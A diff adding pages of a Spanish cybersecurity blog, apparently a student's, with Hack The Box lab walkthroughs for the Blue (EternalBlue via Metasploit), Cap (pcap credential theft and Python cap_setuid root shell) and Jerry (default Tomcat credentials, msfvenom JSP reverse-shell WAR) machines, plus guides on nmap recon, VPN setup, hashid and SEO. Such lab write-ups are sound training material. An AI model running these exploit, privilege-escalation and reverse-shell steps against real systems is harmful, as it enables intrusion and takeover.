    + + + + + + + + + + + + + HashID + + + + + + + + + + + + + + + + + + + + + +

    Hashid es una herramienbta que nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear + ese hash a partir de una contraseña.

    + +

    Instalación:

    + +

    Para instalar la herramienta:

    + +
    sudo apt install hashid
    +    
    + +

    Ejecución:

    + +

    Para ejecutarla:

    + +
    hashid [Hash Núm]
    +    
    + +

    Ejemplo:

    + +

    Captura de pantalla -2022-04-26 12-33-14

    + +

    Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4.

    + +

    Recordar que la aplicación nos reporta los más probables, en ocasiones el primero en reportar no es el + correcto, por tanto, tener en cuenta los dos o tres primeros en orden descendente, ya que el primero que nos + reporta es el que en teoría tiene más probabilidades.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/hola.md b/Web/hola.md new file mode 100644 index 00000000000..9034b4dec76 --- /dev/null +++ b/Web/hola.md @@ -0,0 +1,35 @@ +# SEO + +## Mi página web no aparece en Google. + +En el siguiente artículo vamos a tratar de ver los motivos por los que una página web no aparece en el buscador de Google y como tratar de +solucionarlo. + +Qué nuestra página no aparezca en Google puede deberse a distintos motivos: +* Que la página web sea nueva y Google aún no la haya indexado. +* Que no hayamos trabajado el SEO de la página y, por tanto, Google no puede localizarla. +* También es posible que tengamos en nuestro código instrucciones para que Google no indexe nuestra página web. + +## Cómo ver si nuestra página web se encutra en Google. + +Para tratar de comprobar que nuestra página web se encutra en Google, primero realizaremos una busqueda normal introduciendo el dominio o +nombre de nuestra página web. En caso de no aparecer ningún resultado o que nos muestre tantos resultado que no encontremos nuestra página, Google +nos permite realizar busquedas dentro de dominios con la opción ``site:``. + +Solo debemos escribir ``site:`` seguido de dominio que vamos a buscar. Si Google nos devuelve ``La búsqueda de [nuestro dominio] no obtuvo ningún resultado.`` +quiere decir que nuestra página web no está indexada por Google. + +## Comprobar que no tenemos la etiqueta noindex en nuestro código. + +Otra cosa que debemos de comprobar si nuestro dominio no aparece en Google y sobretodo si hemos utilizado algún tipo de plantilla o programa para +crear nuestra web, es que no incluya la etiquetea ``noindex`` en nuestro código. Está etiqueta evita que seamos indexados y por tanto, nuestra +página web no aparecera en los buscadores. + +Para comprobar que no tenemos está etiqueta, podemos dirigirnos al código fuente de nuestra página web en el mismo navegador, y buscar ``noindex`` +utilizando el atajo de teclado ``Ctrl + f``. En caso de tener está etiqueta en el código fuente, tendrémos que quitarla. + + + + + + diff --git a/Web/htb_blue.html b/Web/htb_blue.html new file mode 100644 index 00000000000..649a1a212f2 --- /dev/null +++ b/Web/htb_blue.html @@ -0,0 +1,379 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + +
    + +

    Hack The Box-Blue

    + +

    En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

    + +
    sudo mkdir Blue
    +
    + +

    Ahora, mediante la función mkt que tengo previamente definida en la .zshrc crearemos nuestros directorios +de trabajo:

    + +
    sudo mkt
    +
    + +

    Esta función está definida para crearnos cuatro directorios (nmap, content, exploits y scripts) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB.

    + +

    PING

    + +

    Ejecutamos un ping y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows.

    + +
    ping -c 1 10.10.10.40
    +
    + +

    Captura de pantalla -2022-05-13 02-23-49

    + + + +

    Ahora mediante nmap realizaremos un escaneo de puertos:

    + +
    nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.40 -oG allPorts
    +
    + +

    -p- : Escanea todo el rango de puertos.

    + +

    --open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -sS : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos.

    + +

    --min-rate : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más.

    + +

    -vvv : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneneo.

    + +

    -n : Anula la resolución DNS.

    + +

    Captura de pantalla -2022-05-13 12-02-21

    + +

    Captura de pantalla -2022-05-13 12-02-42

    + +

    Vemos como nos reporta los puertos 135,139,445 y 49157. Lo que de momento más me llama la atención es que por el puerto 445 corre un servicio +microsoft-ds. Vamos a realizr un segundo escaneo mediante nmap lanzado una serie de scripts de reconocimiento para ver si nos reporta algo más +de información de estos puertos en concreto.

    + +
    nmap -sC -sV -v -n -p135,139,445,49157 10.10.10.40 -oG target
    +
    + +

    Captura de pantalla -2022-05-13 12-13-24

    + +

    -sC : Lanza scrips básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos definidos.

    + +

    -p : Puertos a escanear.

    + +

    -oN : Reporta los resultados en formato nmap al archivo target.

    + +

    Captura de pantalla -2022-05-13 12-14-09

    + +

    Vemos como nos da un poco más de información, pero lo más interesante es que nos reporta la versión exacta del sistema Windows, que este caso nos +reporta un Windows 7 Professional 6.1.

    + +

    Captura de pantalla -2022-05-13 12-23-13

    + +

    Ahora vamos utilizar nmap para lanzar un script más especifico y tratar de reportar alguna vunerabilidad para está version de Windows 7. Pero primero +vamos a comprobar que disponemos del script. Para poder ver todo los scripts de nmap, podemos utilizar el comando locate .nse, donde se nos desplegará +una lista de todos los disponibles.

    + +
    locate .nse
    +
    + +

    Ahora para poder filtrar un poco los resultados, de forma paralela concatenamos un xargs grep "categories" y de está forma filtraremos por todos +los resultados que incluyen la palabra categories.

    + +
    locate .nse | xargs grep "categories"
    +
    + +

    Y ahora para terminar de filtrar los resultados dentro de categories, vamos a quedarnos solo con los resultados que nos especifican los scripts entre +comillas, lo cual se conoce como DATA. Para poder filtrar pro data utilizaremos la expresión regular '".*?"' de la siguiente manera:

    + +
    locate .nse | xargs grep "categories" | grep -oP '".*?"'
    +
    + +

    Finalmente vamos a quitar las categorias que se repitan mediante sort -u:

    + +
    locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
    +
    + +

    Bien, ahora para lanzar los scripts que deseamos que son vuln y safe, básicamente estos scripts lanzan un chequeo para tratar de reportar las vulnerabilidades +conocidas del sistema y safe lo utilizamos para no causar ningún tipo de denegación de servicio en el sistema que vamos a escanear.

    + +
    nmap --script "vuln and safe" -p445 10.10.10.40 -oN smbScan
    +
    + +

    --script "vuln and safe" : Especifica los scripts que vamos a utilizar.

    + +

    -p445 : Especifica el puerto que vamos a chequear.

    + +

    -oN smbScan : Exporta los resultados en formato nmap al archivo smbScan.

    + +

    Vemos como nos reporta que este sistema es vulnerable al ms17-010 más conocido como EthernalBlue. Ahora que ya conocemos una vulnerabilidad + vamos a tratar de buscar un exploit funcional.

    + +
     searchsploit ms17-010
    +
    + +

    Captura de pantalla -2022-05-13 02-38-33

    + +

    Vemos que Metasploit nos reporta el exploit SMB Remote Code Execution Scanner (MS17-010) (Metasploit). Vamos abrir Metasploit y a buscar si + disponemos del exploit.

    + + + +

    Abrimos Metasploit:

    + +
     msfconsole
    +
    + +

    Captura de pantalla -2022-05-13 02-39-06

    + +

    Ahora buscamos filtrando por la vulnerabilidad ms17-010:

    + +
     search ms17-010
    +
    + +

    Captura de pantalla -2022-05-13 13-05-57

    + +

    Vemos como la vulnerabilidad EthernarBlue aparece la primera, para seleccionarla utilizamos el comando use y especificamos el número del exploit en +la lista, en este caso el 0:

    + +
    use 0
    +
    + +

    Captura de pantalla -2022-05-13 13-06-25

    + +

    Ahora que ya tenemos el exploit seleccionado, tenemos que configurarlo y preparado para el ataque. Para ver las opciones del exploit utilizamos el +comando options:

    + +

    Captura de pantalla -2022-05-13 13-06-45

    + +

    Para configurar el exploit debemos modificar el RHOSTS que es la Ip de la víctima, el LHOST que será nuestra Ip pública, en este caso la VPN de +hack the box y finalmente, especificamos el puerto de escucha LPORT.

    + +

    Captura de pantalla -2022-05-13 13-25-31

    + +

    Captura de pantalla -2022-05-13 13-26-24

    + +

    Finalmete ejecutamos el exploit:

    + +
    exploit
    +
    + +

    Captura de pantalla -2022-05-13 13-09-48

    + +

    Si todo funciona correctamente se nos tendría que abrir una shell. En caso de daros algún error, es posible que tengáis que reiniciar la máquina y +el Metasploit y volver a intentar el ataque.

    + +

    Captura de pantalla -2022-05-13 17-48-20

    + +

    Esta vulnerabilidad es muy grave, ya que mediante este exploit pasamos a tenerlos máximos privilegios, por tanto, podemos ver todos los archivos, +incluida la flaf de root.

    + +

    Para encontrar la primera flag simplemente nos dirigimos al directorio C:\Users\haris\Desktop:

    + +
    cd /Users/haris/Desktop
    +
    + +

    Podemos listar los archivos del directorio mediante ls y mediante cat nos reportará por consola el contenido.

    + +

    Captura de pantalla -2022-05-13 17-50-12

    + +

    Finalmente, la flag del usuario root la podemos encontrar en el directorio C:\Users\Administrator\Desktop\.

    + +

    Captura de pantalla -2022-05-13 17-50-59

    + +

    Captura de pantalla 2022-09-06 030042

    + +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_cap.html b/Web/htb_cap.html new file mode 100644 index 00000000000..1d047b8ae99 --- /dev/null +++ b/Web/htb_cap.html @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + +
    Captura de pantalla -2022-05-09 22-42-07
    + +

    Hack The Box-Cap

    + +

    En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

    + +
    sudo mkdir Cap
    +
    + +

    Ahora, mediante la función mkt que tengo previamente definida en la .zhshrc crearemos nuestros directorios de trabajo:

    + +
    sudo mkt
    +
    + +

    Esta función está definida para crearnos cuatro directorios (nmap, content, exploits y scripts) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB.

    + +

    PING

    + +

    Ejecutamos un ping y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux.

    + +
    ping -c 1 10.10.10.245
    +
    + +

    Captura de pantalla -2022-05-09 22-50-48

    + +

    Verificamos mediante la herramienta WishSystem que nos encontramos frente +a un sistema Linux.

    + +

    WhatWeb

    + +

    Ahora vamos a ver mediante whatweb que más podemos ver:

    + +
    whatweb 10.10.10.245
    +
    + +

    Captura de pantalla -2022-05-09 23-01-58

    + +

    Vemos que no nos reporta nada interesante, así que vamos a proceder mediante Nmap a tratar de reportar todos +los puertos abiertos.

    + + + +

    Ahora mediante nmap realizaremos un escaneo de puertos:

    + +
    nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.245 -oG allPorts
    +
    + +

    -p- : Escanea todo el rango de puertos.

    + +

    --open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -sS : El escaneo SYN actuar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos.

    + +

    --min-rate : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más.

    + +

    -vvv : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se ejecuta el escaneo.

    + +

    -n : Anula la resolución DNS.

    + +

    Captura de pantalla -2022-05-07 13-52-00

    + +

    Vemos como los puertos 21,22 y 80 están abiertos y que en los tres corren servicios interesantes vamos a tratar de realizar mediante una serie de +scripts básicos de reconocimiento un segundo escaneo enfocándonos en los puertos que hemos encontrado abiertos:

    + +
    nmap -sC -sV -p21,22,80 -oN targed  
    +
    + +

    -sC : Lanza scripts básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos definidos.

    + +

    -p : Puertos a escanear.

    + +

    -oN : Reporta los resultados en formato nmap al archivo target.

    + +

    Captura de pantalla -2022-05-07 13-54-13

    + +

    Captura de pantalla -2022-05-07 13-55-15

    + +

    Captura de pantalla -2022-05-07 13-55-36

    + +

    Vemos que por el puerto 80 corre un servicio http con la versión gunicorn. Vamos a tratar de acceder al +dominio http://10.10.10.245 utilizando el navegador, en mi caso Firefox.

    + +

    Captura de pantalla -2022-05-07 14-02-57

    + +

    Captura de pantalla -2022-05-07 14-03-07

    + +

    Vemos como el dominio nos lleva hasta un panel de gráficos de un usuario llamado Nathan. Tras investigar la página, vemos como arriba a la izquierda +tenemos un menú desplegable y me llama especialmente la atención el apartado Security Snapshot (5 Second PCAP + Analysis).

    + +

    Captura de pantalla -2022-05-07 14-03-40

    + +

    Vemos como nos muestra una página que parece contener archivos guardados y donde también tenemos un botón de Download. Algo que es interesante es ver como nos +indica el directorio actual mediante el número 3.

    + +

    Captura de pantalla -2022-05-10 00-46-06

    + +

    Tras probar otros números, veo que existen varias páginas de ficheros empezando desde el 0 que parece ser la página que más archivos tiene guardados. +Vamos a pulsar Donwload y descargarnos el archivo para ver que se trata.

    + +

    Captura de pantalla -2022-05-07 14-03-40

    + +

    Captura de pantalla -2022-05-10 00-47-49

    + +

    Vamos a llevar el archivo al directorio content donde vamos a realizar primeramente un cat para ver que se trata y vemos que el archivo contiene un binario.

    + +

    Captura de pantalla -2022-05-10 01-02-17

    + +

    TShark

    + +

    Para poder ver el binario vamos a utilizar la herramienta tshark. En caso de no tenerla podéis descargarla utilizando el siguiente comando:

    + +
    sudo apt install tshark
    +
    + +

    Una vez instalado vamos a tratar de leer el archivo:

    + +
    tshark -r 0.pcap 2>/dev/null
    +
    + +

    Captura de pantalla -2022-05-07 14-18-25

    + +

    Captura de pantalla -2022-05-07 14-18-38

    + +

    Tras revisar el contenido vemos que por el centro del archivo se encuentran las credenciales de un usuario. Nos muestra un user nathan y una PASS Buck3tH4TF0RM3!.

    + +

    Captura de pantalla -2022-05-07 14-19-36

    + +

    Captura de pantalla -2022-05-07 14-21-26

    + +

    Captura de pantalla -2022-05-07 14-21-38

    + +

    Mediante los siguientes parámetros podríamos filtrar el archivo para solo reportar la información interesante.

    + +
    tshark -r 0.pcap -Y "ftp" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r
    +
    + +

    Captura de pantalla -2022-05-07 14-27-41

    + +

    FTP Shell:

    + +

    Visto esto, vamos a tratar de conectarnos mediante ftp con las credenciales que hemos encontrado.

    + +
    ftp 10.10.10.245
    +
    + +

    Captura de pantalla -2022-05-07 14-29-55

    + +

    Perfecto vemos como nos permite conectarnos como el usuario nathan. Lo primero que debemos hacer es activar el modo pasivo para no tener problemas con los comandos.

    + +
    passive
    +
    + +

    Ahora ejecutando un ls vemos como ahí se encuentra el archivo user.txt con la primera flag.

    + +

    Captura de pantalla -2022-05-07 14-32-01

    + +

    Al tratar de visualizar el archivo con cat vemos como no nos lo permite.

    + +

    Captura de pantalla -2022-05-07 14-33-10

    + +

    Al revisar mediante la variable help las opciones que podemos utilizar:

    + +

    Captura de pantalla -2022-05-07 14-33-24

    + +

    Vemos que está disponible el comando get, así que vamos a tratar de descargarnos el archivo +hasta nuestro repositorio.

    + +

    Captura de pantalla -2022-05-07 14-33-52

    + +

    Abrimos una terminal nueva y nos dirigimos a nuestro directorio content, si hemos ejecutado anteriormente la shell ftp desde aquí, vemos como se nos abra descargado en este directorio el archivo user.txt.

    + +

    Captura de pantalla -2022-05-07 14-34-30

    + +

    Captura de pantalla -2022-05-07 14-34-43

    + +

    Shell SSH

    + +

    Ahora, para tratar de conseguir la flag del root, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexión mediante el servicio ssh y utilizando las mismas credenciales:

    + +
    ssh nathan@10.10.10.245
    +
    + +

    Captura de pantalla -2022-05-07 14-41-53

    + +

    Captura de pantalla -2022-05-07 14-43-29

    + +

    Primero vamos a tratar de ver si tenemos algún tipo de privilegios:

    + +

    Captura de pantalla -2022-05-07 14-44-17

    + +

    Vemos que nos pide un password y por desgracia no nos sirve la misma que hemos utilizado anteriormente.

    + +

    GetCap

    + +

    Ahora, para tratar de enumerar archivos de interés usaremos getcap muestra el nombre y las capacidades de cada archivo especificado. +En el caso de no disponer de getcap podemos descargarlo de la siguiente manera:

    + +
    getcap -r / 2>/dev/null
    +
    + +

    Captura de pantalla -2022-05-07 14-52-31

    + +

    Vemos como se nos reporta un archivo llamado cap_setuid y que está siendo ejecutado en Python3.8.

    + +

    Captura de pantalla -2022-05-07 14-53-07

    + +

    Tras buscar información sobre vulnerabilidades bandas en Python3.8 y he encontrado los siguientes comandos que nos permite crear una shell en bash registrándonos automáticamente como root. +Para ello vamos a introducir los siguientes comandos:

    + +
    import os
    +
    + +

    Captura de pantalla -2022-05-07 14-53-41

    + +
    os.setuid(0)
    +
    + +

    Captura de pantalla -2022-05-07 14-54-29

    + +
    os.system("bash")
    +
    + +

    Captura de pantalla -2022-05-07 14-54-58

    + +

    Captura de pantalla -2022-05-07 14-55-13

    + +

    Vemos como ha funcionado y ya tenemos nuestra shell en bash y si ejecutamos el comando whoami podemos ver como estamos registrados como root. Finalmente, podemos encontrar la flag del archivo root dentro del directorio +/root/root.txt.

    + +

    Captura de pantalla -2022-05-07 14-55-46

    + +
    Captura de pantalla -2022-05-07 14-56-42
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_como_conectarse.html b/Web/htb_como_conectarse.html new file mode 100644 index 00000000000..e67955887dd --- /dev/null +++ b/Web/htb_como_conectarse.html @@ -0,0 +1,259 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +

    Como conectarse a las máquinas de Hack the Box por VPN:

    + +

    https://www.hackthebox.com/

    + +

    En este artículo os mostraré como conectarse a cualquier servicio de HTB (Hack The Box) a través de sus VPN. +HTB utiliza VPN para los distintos servicios que se utilizan. Resumiendo, las starting_points utilizan una VPV, las máquinas usan otras +y así con cada uno de los distintos grupos de servicio que ofrecen, como su academia, los battlegrounds, etc.

    + +

    En primer lugar, debemos estar registrados en la plataforma, la plataforma ofrece una gran cantidad de máquinas gratuitas, y luego, también nos ofrece +distintas versiones de pago, las cuales ofrecen grandes ventajas, mayor número de máquinas, nos da la opción de realizar máquinas retiradas, más clases +y muchas otros productos. Todo esto lo podemos ver en la misma página de inicio de Hack the Box.

    + +

    Para conectarnos con HTB primero tendremos que descargarnos un archivo .ovpn que HTB nos proporcionará. Para ello, desde nuestra página, una vez hemos +ingresado, nos dirigimos al boton que se encuentra arriba a la derecha que pone Connect to HTB:

    + +

    Captura de pantalla -2022-04-28 18-51-22

    + +

    Dependiendo del tipo de servicio que queremos realizar, nos descargamos una u otra, en el caso de querer realizar una máquina nos descargaremos +el archivo de la pestaña máquinas, en nuestro caso, como estamos empezando, primero realizaremos las máquinas de introducción que son las +starting_points, para ello entramos en su pestaña:

    + +

    Captura de pantalla -2022-04-28 18-51-59

    + +

    Si disponemos de una máquina Linux o de algún entorno virtual (Virtual Box, VMware,etc) desde el cual vamos a acceder (ya sea con ParrotOS, Kali, Arch o +cualquier distribución Linux) nos descargaremos la versión OpenVPN:

    + +

    Captura de pantalla -2022-04-28 18-53-02

    + +

    Aquí simplemente establecemos nuestra región, que nos conectamos a través de una VPN y que vamos a utilizar el protocolo UDP (En caso de no funcionaros +probar el protocolo TCP), luego presionamos Download VPN:

    + +

    Captura de pantalla -2022-04-28 18-53-31

    + +

    Una vez descargado nuestro archivo .ovpn, abrimos una terminal, nos dirigimos al directorio donde se nos haya descargado el archivo, y yo aconsejo +crearse un directorio específico para los distintos archivos .ovpn que HTB nos va proporcionando para los distintos servicios.

    + +

    Ahora solo faltaría ejecutar el siguiente comando:

    + +
    sudo openvpn starting_Ponint_Firox.ovpn
    +
    + +

    sudo : Nos permite actuar como root, y por tanto, tenemos todos los privilegios.

    + +

    openvpn : Ejecuta la orden de abrir la VPN

    + +

    starting_point_firox.ovpn : Es el archivo que nos hemos descargado.

    + +

    Captura de pantalla -2022-04-28 18-55-55

    + +

    Captura de pantalla -2022-04-28 18-56-46

    + +

    En la parte final, nos reporta que la conexión se ha realizado de forma correcta. No debemos cerrar esta terminal mientras estemos trabajando con +la máquina, ya que si cerramos la terminal perdemos la conexión con la VPN y, por tanto, no podremos comunicarnos con la máquina.

    + +

    Captura de pantalla -2022-04-28 18-57-09

    + +

    Veremos que el botón anterior se nos abra puesto en verde indicándonos a que servicio de VPN estamos conectados:

    + +

    Captura de pantalla -2022-04-28 18-57-29

    + +

    Finalmente, par iniciar una máquina, simplemente pulsamos la máquina o startging_point que queramos realizar, comprobamos que la VPN está bien +conectada (Primer tick verde) y luego pulsamos Spawn Machine.

    + +

    Captura de pantalla -2022-04-28 18-58-18

    + +

    Una vez realizada la conexión, nos reportará la Ip de la máquina que vamos a explotar.

    + +

    Captura de pantalla -2022-04-28 19-00-08

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_fase_de_reconocimiento.html b/Web/htb_fase_de_reconocimiento.html new file mode 100644 index 00000000000..9ac4646f7d5 --- /dev/null +++ b/Web/htb_fase_de_reconocimiento.html @@ -0,0 +1,324 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Plantilla + + + + + + + + + + + + + + + + + + + + + +

    Fase de Reconocimiento - HTB

    + +

    Aquí trato de mostrar unas pautas muy básicas de + reconocimiento. El reconocimiento es una parte + fundamental, ya que necesitamos conocer a lo que + nos enfrentamos para poder buscar vulnerabilidades.

    + +

    En primer lugar, debemos asegurar que estamos conectados + a la víctima y tratar de recopilar la máxima información + posible.

    + +
    + +

    PING

    + +

    Captura de pantalla -2022-04-11 18-56-44

    + +

    Para verificar la conexión y tener una primera toma de + contacto utilizaremos el comando ping.

    + +
    ping [Ip Víctima]
    +
    + +

    Mediante este comando podemos obtener la siguiente + información:

    + +
      +
    • Verificar la conexión.
    • +
    • La latencia. Podemos observar el tiempo de recorrido +de un paquete.
    • +
    • Podemos obtener la Ip de un dominio.
    • +
    • Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64
    • +
    + +
    + + + +

    Tras conocer la máquina a la que nos enfrentamos + pasaremos analizar los protocolos tcp/udp.

    + +

    Primero analizaremos los puertos tcp ya que son los más + utilizados y los más rápidos de escanear.

    + +

    Mediante nmap realizaremos varios escaneos, el primero + será un análisis de todos los puertos abiertos del + protocolo tcp.

    + +
    nmap -p- --open -T5 -v -n [Ip]
    +
    + +

    -p- : Escanea todo el rango de puertos.

    + +

    --open : Solo nos mostrará puertos con el estatus abierto.

    + +

    -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido.

    + +

    -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola.

    + +

    -n : Anula la resolución DNS.

    + +

    Ahora para poder trabajar mejor, exportaremos una lista + en formato Grepeable al archivo allPorts.

    + +
    nmap -p- --open -T5 -v -n [Ip] -oG allPorts
    +
    + +

    -oG : Exportar los resultados en formato grepeable.

    + +

    allPorts : Nombre del archivo. Si no existe lo creará.

    + +

    De esta manera podremos revisar los puertos que estaban + abiertos en cualquier momento.

    + +
    + + +

    ESCANEO EXHAUSTIVO:

    + +

    Tras conocer los puertos TCP abiertos, realizaremos un + segundo escaneo enfocado en los puertos abiertos para ver + la información que nos reportan y exportarlo en formato + nmap al archivo ‘targed’.

    + +
    nmap -sC -sV -p[Port1,Port2] -oN targed  
    +
    + +

    -sC : Lanza scrips básicos de reconocimiento.

    + +

    -sV : Localiza la versión y servicio de los puertos definidos.

    + +

    -p : Puertos a escanear. Ej: -p22,80

    + +

    -oN : Reporta los resultados en formato nmap al archivo targed.

    + +
    + +

    WHATWEB

    + +

    Es una herramienta que se utiliza para tratar de + averiguar + el gestor de contenido de la Ip. Nos reportará + información varia del sistema.

    + +
    whatweb http://[Ip]
    +  
    +whatweb http://[Host]
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/htb_jerry.html b/Web/htb_jerry.html new file mode 100644 index 00000000000..ae9c16ffacf --- /dev/null +++ b/Web/htb_jerry.html @@ -0,0 +1,368 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +
    Captura de pantalla -2022-05-09 09-36-58
    + +

    HTB-Jerry

    + +

    En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

    + +
    sudo mkdir Jerry
    +
    + +

    Ahora, mediante la función mkt que tengo previamente definida en la .zhshrc crearemos nuestros directorios de trabajo:

    + +
    sudo mkt
    +
    + +

    Esta función está definida para crearnos cuatro directorios (nmap, content, exploits y scripts) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB.

    + +

    Fase de Reconocimiento:

    + +

    Ejecutamos un ping y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows.

    + +
    ping -c 1 10.10.10.95
    +
    + +

    Captura de pantalla -2022-05-09 09-41-43

    + +

    Ahora vamos a ver mediante whatweb que más podemos ver:

    + +
    whatweb 10.10.10.95
    +
    + +

    Captura de pantalla -2022-05-09 09-48-48

    + +

    Nos reporta un erro al tratar de acceder. Por tanto, vamos a realizar mediante nmap +una serie de escaneos para ver que puertos se encuentran abiertos, primero realizaré un escaneo básico:

    + +
    nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts
    +
    + +

    -oG : Exportar los resultados en formato grepeable.

    + +

    allPorts : Nombre del archivo. Si no existe lo creará.

    + +

    Guardamos los resultados en el archivo allPorts, de esta manera podremos revisar los puertos que estaban abiertos en cualquier momento.

    + +

    Captura de pantalla -2022-05-09 10-02-16

    + +

    Captura de pantalla -2022-05-09 10-02-34

    + +

    Como podemos ver, nos reporta que el puerto 8080 está abierto, vamos a proceder a un segundo escaneo especificando +que quereros utilizar la variable --script http-enum en el puerto 8080 y guardaremos los resultados en el archivo +targetenum.

    + +
    sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum 
    +
    + +

    Captura de pantalla -2022-05-07 15-15-30

    + +

    Captura de pantalla -2022-05-07 15-24-03

    + +

    Vemos que en el puerto 8080 corre un servicio http, por tanto, vamos a intentar acceder mediante el navegador de Firefox.

    + +

    Captura de pantalla -2022-05-07 15-09-34

    + +

    Vemos que al intentar acceder al dominio http://10.10.10.95 la página no termina de cargar, pero tampoco reporta ningún error. Por tanto, lo siguiente que +probaremos será especificar el puerto en el que corre el servicio, por tanto, intentamos acceder al dominio http://10.10.10.95:8080.

    + +

    Captura de pantalla -2022-05-07 15-11-45

    + +

    Captura de pantalla -2022-05-07 15-09-34

    + +

    Fase de Inrusión:

    + +

    Genial ya nos carga la página, vemos que se trata de la página oficial de un programa llamado Tomcat. Lo siguiente que vamos a probar, es tratar de +acceder al directorio ./manager/html.

    + +

    Captura de pantalla -2022-05-07 15-17-15

    + +

    Captura de pantalla -2022-05-07 15-17-33

    + +

    Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseguimos ingresar +de manera sencilla.

    + +

    Captura de pantalla -2022-05-07 15-17-43

    + +

    Tras probar algunas combinaciones vemos que utilizando el usuario admin y la contraseña admin nos reporta este mensaje con un error de servicio 403.

    + +

    Captura de pantalla -2022-05-07 15-18-05

    + +

    Vemos como nos indica un ejemplo, donde nos muestra unas credenciales que se han usado para mostrar el ejemplo.

    + +

    Captura de pantalla -2022-05-07 15-20-56

    + +

    Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario tomcat y empleando la contraseña +s3cret.

    + +

    Captura de pantalla -2022-05-07 15-20-56

    + +

    Captura de pantalla -2022-05-09 10-23-23

    + +

    Captura de pantalla -2022-05-07 15-22-16

    + +

    Las credenciales funcionan y nos lleva hasta una página que parece gestionar aplicaciones.

    + +

    Tras revisar la página vemos que nos permite subir archivos, así que vamos a tratar de buscar alguna herramienta que nos permita crear una +shell inversa desde la cual poder interactuar con la máquina.

    + +

    Creación de una Reverse Shell mediante MsfVenom:

    + +

    Mediante msfvenom podemos tratar de comprobar una gran cantidad de herramientas:

    + +
    msfvenom -l payloads
    +
    + +

    Captura de pantalla -2022-05-07 15-25-25

    + +

    Captura de pantalla -2022-05-07 15-27-24

    + +

    Vamos a emplear la herramienta jsp_shell_reverse_tcp. Esta herramienta, especificándole nuestro host de escucha y el puerto mediante el siguiente +comando, nos creará un archivo en formato .war capaz de crear una shell inversa desde la máquina víctima.

    + +

    Captura de pantalla -2022-05-09 11-02-02

    + +
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war
    +
    + +

    Captura de pantalla -2022-05-09 11-02-02

    + +

